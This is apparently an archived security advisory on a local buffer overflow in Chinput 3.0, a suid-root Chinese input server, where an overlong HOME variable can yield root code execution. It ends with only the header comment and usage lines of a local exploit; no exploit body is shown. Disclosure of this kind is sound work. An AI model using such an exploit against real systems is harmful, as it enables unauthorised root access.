Chinput is an input server designed for Chinese characters. It is available on Linux and other Unix based systems. Chinput appears to be installed suid root by default.
|
|
|
|
A vulnerability exists in Chinput. A local user with an extremely long HOME environment variable may cause a buffer to overflow. If successfully exploited, this can overwrite the instruction pointer, and lead to the execution of arbitrary code as root.

|
/* local exploit for Chinput 3.0
|
|
* .. tested in TurboLinux 6.5 with kernel 2.2.18
|
|
*
|
|
* Usage: $gcc chinput_exp.c
|
|
* $./a.out
|
|
* bash-2.04$ /usr/bin/chinput
